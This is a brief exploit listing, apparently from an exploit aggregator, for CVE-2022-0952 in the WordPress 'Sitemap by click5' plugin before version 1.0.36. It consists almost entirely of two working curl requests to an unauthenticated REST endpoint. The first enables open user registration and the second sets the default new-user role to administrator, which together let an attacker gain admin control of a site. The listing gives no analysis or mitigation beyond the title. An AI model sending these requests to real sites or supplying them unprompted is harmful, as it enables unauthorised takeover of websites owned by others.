Exploit for Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update CVE-2022-0952

## https://sploitus.com/exploit?id=WPEX-ID:0F694961-AFAB-44F9-846C-E80A0F6C768B
Allow user registrations:
curl 'https://example.com/?rest_route=/click5_sitemap/API/update_html_option_AJAX' \
    -H 'Content-Type: application/json' \
    --data '{"users_can_register": 1}'

Set the default user role to administrator:
curl 'https://example.com/?rest_route=/click5_sitemap/API/update_html_option_AJAX' \
    -H 'Content-Type: application/json' \
    --data '{"default_role":"administrator"}'